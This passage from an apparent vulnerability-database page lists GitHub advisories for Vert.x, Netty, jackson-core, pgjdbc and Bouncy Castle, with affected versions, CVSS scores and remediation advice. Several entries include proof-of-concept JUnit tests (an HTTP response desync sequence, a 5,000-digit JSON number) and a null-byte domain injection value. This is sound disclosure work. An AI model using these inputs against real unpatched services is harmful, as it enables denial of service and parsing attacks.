"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6860"
},
{
"type": "WEB",
"url": "https://github.com/eclipse-vertx/vert.x/pull/6102"
},
{
"type": "PACKAGE",
"url": "https://github.com/eclipse-vertx/vert.x"
},
{
"type": "WEB",
"url": "https://github.com/vert-x3/wiki/wiki/4.5.27-Release-Notes"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/381"
},
{
"type": "WEB",
"url": "https://vertx.io/blog/eclipse-vert-x-4-5-27"
},
{
"type": "WEB",
"url": "https://vertx.io/blog/eclipse-vert-x-5-0-12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Vert.x has a DoS via unbounded server-side SNI SslContext cache growth"
}
GHSA-57RV-R2G8-2CJ3
Vulnerability from github – Published: 2026-05-07 00:21 – Updated: 2026-05-14 20:41
VLAI
Summary
Netty has HttpClientCodec response desynchronization
Details
Summary
If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another's.
Details
HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.
Prerequisites - HTTP/1.1 pipelining - HEAD in the pipeline - The server sends 1xx
PoC
@Test
public void test() {
EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());
assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
ByteBuf request = channel.readOutbound();
request.release();
assertNull(channel.readOutbound());
assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
request = channel.readOutbound();
request.release();
assertNull(channel.readOutbound());
String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
"HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
"HTTP/1.1 200 OK\r\n\r\n";
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));
// Response 1
HttpResponse response = channel.readInbound();
assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
LastHttpContent last = channel.readInbound();
assertEquals(0, last.content().readableBytes());
last.release();
// Response 2
response = channel.readInbound();
assertEquals(HttpResponseStatus.OK, response.status());
last = channel.readInbound();
assertEquals(0, last.content().readableBytes());
last.release();
// Response 3
FullHttpResponse response1 = channel.readInbound();
assertTrue(response1.decoderResult().isFailure());
assertEquals(0, response1.content().readableBytes());
response1.release();
assertFalse(channel.finish());
}
Impact
Integrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.
Severity
7.3 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42584"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:21:48Z",
"nvd_published_at": "2026-05-13T19:17:24Z",
"severity": "HIGH"
},
"details": "### Summary\n If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another\u0027s.\n\n### Details\nHttpClientCodec pairs each inbound response with an outbound request by `queue.poll()` once per response, including for `1xx`. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message\u2019s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.\n\nPrerequisites \n- HTTP/1.1 pipelining\n- HEAD in the pipeline\n- The server sends 1xx\n\n### PoC\n\n```java\n @Test\n public void test() {\n EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());\n\n assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, \"/1\")));\n ByteBuf request = channel.readOutbound();\n request.release();\n assertNull(channel.readOutbound());\n\n assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, \"/2\")));\n request = channel.readOutbound();\n request.release();\n assertNull(channel.readOutbound());\n\n String responseStr = \"HTTP/1.1 103 Early Hints\\r\\n\\r\\n\" +\n \"HTTP/1.1 200 OK\\r\\nContent-Length: 5\\r\\n\\r\\nhello\" +\n \"HTTP/1.1 200 OK\\r\\n\\r\\n\";\n assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));\n\n // Response 1\n HttpResponse response = channel.readInbound();\n assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());\n LastHttpContent last = channel.readInbound();\n assertEquals(0, last.content().readableBytes());\n last.release();\n\n // Response 2\n response = channel.readInbound();\n assertEquals(HttpResponseStatus.OK, response.status());\n last = channel.readInbound();\n assertEquals(0, last.content().readableBytes());\n last.release();\n\n // Response 3\n FullHttpResponse response1 = channel.readInbound();\n assertTrue(response1.decoderResult().isFailure());\n assertEquals(0, response1.content().readableBytes());\n response1.release();\n\n assertFalse(channel.finish());\n }\n```\n\n### Impact\nIntegrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.",
"id": "GHSA-57rv-r2g8-2cj3",
"modified": "2026-05-14T20:41:17Z",
"published": "2026-05-07T00:21:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Netty has HttpClientCodec response desynchronization"
}
GHSA-72HV-8253-57QQ
Vulnerability from github – Published: 2026-02-28 02:01 – Updated: 2026-04-07 16:30
VLAI
Summary
jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Details
Summary
The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
Details
The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g.,
_finishNumberIntegralPart) accumulate digits into theTextBufferwithout any length checks. - After parsing, they call
_valueComplete(), which finalizes the token but does not callresetInt()orresetFloat(). - The
resetInt()/resetFloat()methods inParserBaseare where thevalidateIntegerLength()andvalidateFPLength()checks are performed. - Because this validation step is skipped, the
maxNumberLengthconstraint is never enforced in the async code path.
PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.
Suggested Remediation
The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.
NOTE: This research was performed in collaboration with rohan-repos
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.5"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.18.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-28T02:01:05Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives. Instead it calls\n * _valueComplete() which skips all number length validation.\n *\n * CWE-770: Allocation of Resources Without Limits or Throttling\n */\nclass AsyncParserNumberLengthBypassTest {\n\n private static final int MAX_NUMBER_LENGTH = 1000;\n private static final int TEST_NUMBER_LENGTH = 5000;\n\n private final JsonFactory factory = new JsonFactory();\n\n // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength\n @Test\n void syncParserRejectsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\t\t\n\t\t// Output to console\n System.out.println(\"[SYNC] Parsing \" + TEST_NUMBER_LENGTH + \"-digit number (limit: \" + MAX_NUMBER_LENGTH + \")\");\n try {\n try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n System.out.println(\"[SYNC] Accepted number with \" + p.getText().length() + \" digits \u2014 UNEXPECTED\");\n }\n }\n }\n fail(\"Sync parser must reject a \" + TEST_NUMBER_LENGTH + \"-digit number\");\n } catch (StreamConstraintsException e) {\n System.out.println(\"[SYNC] Rejected with StreamConstraintsException: \" + e.getMessage());\n }\n }\n\n // VULNERABILITY: Async parser accepts the SAME number that sync rejects\n @Test\n void asyncParserAcceptsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\n NonBlockingByteArrayJsonParser p =\n (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());\n p.feedInput(payload, 0, payload.length);\n p.endOfInput();\n\n boolean foundNumber = false;\n try {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n foundNumber = true;\n String numberText = p.getText();\n assertEquals(TEST_NUMBER_LENGTH, numberText.length(),\n \"Async parser silently accepted all \" + TEST_NUMBER_LENGTH + \" digits\");\n }\n }\n // Output to console\n System.out.println(\"[ASYNC INT] Accepted number with \" + TEST_NUMBER_LENGTH + \" digits \u2014 BUG CONFIRMED\");\n assertTrue(foundNumber, \"Parser should have produced a VALUE_NUMBER_INT token\");\n } catch (StreamConstraintsException e) {\n fail(\"Bug is fixed \u2014 async parser now correctly rejects long numbers: \" + e.getMessage());\n }\n p.close();\n }\n\n private byte[] buildPayloadWithLongInteger(int numDigits) {\n StringBuilder sb = new StringBuilder(numDigits + 10);\n sb.append(\"{\\\"v\\\":\");\n for (int i = 0; i \u003c numDigits; i++) {\n sb.append((char) (\u00271\u0027 + (i % 9)));\n }\n sb.append(\u0027}\u0027);\n return sb.toString().getBytes(StandardCharsets.UTF_8);\n }\n}\n\n```\n\n\n### Impact\nA malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:\n1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number\u0027s digits, leading to an `OutOfMemoryError`.\n2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.\n\n### Suggested Remediation\n\nThe async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.\n\n**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)",
"id": "GHSA-72hv-8253-57qq",
"modified": "2026-04-07T16:30:17Z",
"published": "2026-02-28T02:01:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1555"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition"
}
GHSA-98QH-XJC8-98PQ
Vulnerability from github – Published: 2026-05-05 20:09 – Updated: 2026-05-05 20:09
VLAI
Summary
pgjdbc: Unbounded PBKDF2 iterations in SCRAM authentication allows CPU exhaustion DoS
Details
Summary
pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication.
Impact
A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools.
In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation.
This issue affects availability. It does not provide authentication bypass, privilege escalation, or direct password disclosure.
A user is vulnerable when all of the following are true:
- The connection uses SCRAM-SHA-256 authentication.
- The client reaches a malicious, compromised, or attacker-controlled PostgreSQL endpoint.
- That endpoint sends a very large SCRAM PBKDF2 iteration count in the
server-first-message.
In practice, that can happen in these situations:
- the application lets end users or tenants supply their own database connection details (as in many BI, reporting, analytics, ETL, and low-code platforms), so a user can point the shared client host at a server they control
- the application accepts connection strings, hostnames, or JDBC URLs from user input, configuration uploaded by users, or other untrusted sources
- the application is configured to connect to a PostgreSQL server that is itself malicious or later becomes compromised
- the application connects through an untrusted proxy, relay, tunnel, bastion, or connection-pooling service that can act as the PostgreSQL server
- an attacker can redirect the client to a fake PostgreSQL endpoint by manipulating DNS, service discovery, Kubernetes service resolution,
/etc/hosts, environment variables, or similar indirection - an active network attacker on the path can impersonate the server because the connection does not strongly verify server identity (for example,
sslmodelower thanverify-full, or trusting a CA that signs hosts outside the operator's control)
The issue is more damaging when the application uses connection retries, many parallel connection attempts, or loginTimeout and assumes the timeout fully stops the work.
Patches
The patch introduces a new connection property, scramMaxIterations, with a default of 100K. The client now rejects SCRAM server messages that advertise more PBKDF2 iterations than the configured cap before starting the PBKDF2 computation begins.
Workarounds
Until a patched version of pgjdbc is deployed, the following measures reduce exposure:
-
Only connect to trusted PostgreSQL servers whose identity is verified.
Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA. TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server. -
Do not rely on
loginTimeoutas a complete mitigation on unpatched versions.
On affected versions,loginTimeoutcan stop the waiting caller while the worker thread continues spending CPU. -
Avoid SCRAM on untrusted or interceptable connection paths.
For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count. -
Reduce blast radius operationally.
Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate. -
On trusted servers you control, keep SCRAM iteration counts at ordinary values.
This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.postgresql:postgresql"
},
"ranges": [
{
"events": [
{
"introduced": "42.2.0"
},
{
"fixed": "42.7.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42198"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T20:09:36Z",
"nvd_published_at": "2026-04-29T16:16:25Z",
"severity": "HIGH"
},
"details": "## Summary\npgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication.\n\n### Impact\nA malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count.\nWith a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail.\nA single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools.\n\nIn affected versions, `loginTimeout` did not fully mitigate this problem. When `loginTimeout` expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation.\n\nThis issue affects availability. It does **not** provide authentication bypass, privilege escalation, or direct password disclosure.\n\nA user is vulnerable when **all** of the following are true:\n\n1. The connection uses **SCRAM-SHA-256** authentication.\n2. The client reaches a **malicious, compromised, or attacker-controlled PostgreSQL endpoint**.\n3. That endpoint sends a very large SCRAM PBKDF2 iteration count in the `server-first-message`.\n\nIn practice, that can happen in these situations:\n\n- the application lets end users or tenants supply their own database connection details (as in many BI, reporting, analytics, ETL, and low-code platforms), so a user can point the shared client host at a server they control\n- the application accepts connection strings, hostnames, or JDBC URLs from user input, configuration uploaded by users, or other untrusted sources\n- the application is configured to connect to a PostgreSQL server that is itself malicious or later becomes compromised\n- the application connects through an untrusted proxy, relay, tunnel, bastion, or connection-pooling service that can act as the PostgreSQL server\n- an attacker can redirect the client to a fake PostgreSQL endpoint by manipulating DNS, service discovery, Kubernetes service resolution, `/etc/hosts`, environment variables, or similar indirection\n- an active network attacker on the path can impersonate the server because the connection does not strongly verify server identity (for example, `sslmode` lower than `verify-full`, or trusting a CA that signs hosts outside the operator\u0027s control)\n\nThe issue is **more damaging** when the application uses connection retries, many parallel connection attempts, or `loginTimeout` and assumes the timeout fully stops the work.\n\n### Patches\nThe patch introduces a new connection property, `scramMaxIterations`, with a default of 100K. The client now rejects SCRAM server messages that advertise more PBKDF2 iterations than the configured cap before starting the PBKDF2 computation begins.\n\n### Workarounds\n\nUntil a patched version of pgjdbc is deployed, the following measures reduce exposure:\n\n1. **Only connect to trusted PostgreSQL servers whose identity is verified.** \n Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA.\n TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server.\n\n2. **Do not rely on `loginTimeout` as a complete mitigation on unpatched versions.** \n On affected versions, `loginTimeout` can stop the waiting caller while the worker thread continues spending CPU.\n\n3. **Avoid SCRAM on untrusted or interceptable connection paths.** \n For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count.\n\n4. **Reduce blast radius operationally.** \n Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate.\n\n5. **On trusted servers you control, keep SCRAM iteration counts at ordinary values.** \n This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.",
"id": "GHSA-98qh-xjc8-98pq",
"modified": "2026-05-05T20:09:36Z",
"published": "2026-05-05T20:09:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42198"
},
{
"type": "PACKAGE",
"url": "https://github.com/pgjdbc/pgjdbc"
},
{
"type": "WEB",
"url": "https://github.com/pgjdbc/pgjdbc/releases/tag/REL42.7.11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "pgjdbc: Unbounded PBKDF2 iterations in SCRAM authentication allows CPU exhaustion DoS"
}
GHSA-C3FC-8QFF-9HWX
Vulnerability from github – Published: 2026-04-17 18:31 – Updated: 2026-04-18 01:06
VLAI
Summary
Bouncy Castle has an LDAP injection
Details
Improper neutralization of special elements used in an LDAP query ('LDAP injection') vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcprov on all (prov modules). This vulnerability is associated with program files LDAPStoreHelper.
This issue affects BC-JAVA: from 1.74 before 1.84.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcprov-jdk14"
},
"ranges": [
{
"events": [
{
"introduced": "1.74"
},
{
"fixed": "1.84"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcprov-jdk15to18"
},
"ranges": [
{
"events": [
{
"introduced": "1.74"
},
{
"fixed": "1.84"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcprov-jdk18on"
},
"ranges": [
{
"events": [
{
"introduced": "1.74"
},
{
"fixed": "1.84"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-0636"
],
"database_specific": {
"cwe_ids": [
"CWE-90"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-18T01:06:02Z",
"nvd_published_at": "2026-04-15T10:16:38Z",
"severity": "MODERATE"
},
"details": "Improper neutralization of special elements used in an LDAP query (\u0027LDAP injection\u0027) vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcprov on all (prov modules). This vulnerability is associated with program files LDAPStoreHelper.\n\nThis issue affects BC-JAVA: from 1.74 before 1.84.",
"id": "GHSA-c3fc-8qff-9hwx",
"modified": "2026-04-18T01:06:02Z",
"published": "2026-04-17T18:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0636"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/commit/d20cdb8430e09224114fec0179a71859929fcbde"
},
{
"type": "PACKAGE",
"url": "https://github.com/bcgit/bc-java"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%900636"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/RE:M/U:Amber",
"type": "CVSS_V4"
}
],
"summary": "Bouncy Castle has an LDAP injection"
}
GHSA-CM33-6792-R9FM
Vulnerability from github – Published: 2026-05-07 00:12 – Updated: 2026-05-14 20:40
VLAI
Summary
Netty has a DNS Codec Input Validation Bypass (Encoder + Decoder)
Details
Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-dns) |
| Component | io.netty.handler.codec.dns.DnsCodecUtil |
| Vulnerability Type | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |
| Impact | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |
2. Affected Components
Both the encoder and decoder in the same file are affected:
io.netty.handler.codec.dns.DnsCodecUtil—encodeDomainName()method (lines 31-51):- No null byte validation in domain name labels
- No per-label length validation (RFC 1035 max: 63 bytes)
- No total domain name length validation (RFC 1035 max: 255 bytes)
-
Empty labels silently truncate the domain name
-
io.netty.handler.codec.dns.DnsCodecUtil—decodeDomainName()method (lines 53-118): - No per-label length validation (max 63)
- No total domain name length validation (max 255)
- Unbounded StringBuilder growth from attacker-controlled DNS responses
3. Vulnerability Description
Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.
3.1 Encoder Side — Null Byte Injection (CWE-626)
A domain name containing a null byte (e.g., "evil\0.example.com") is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:
- Java (full string): sees
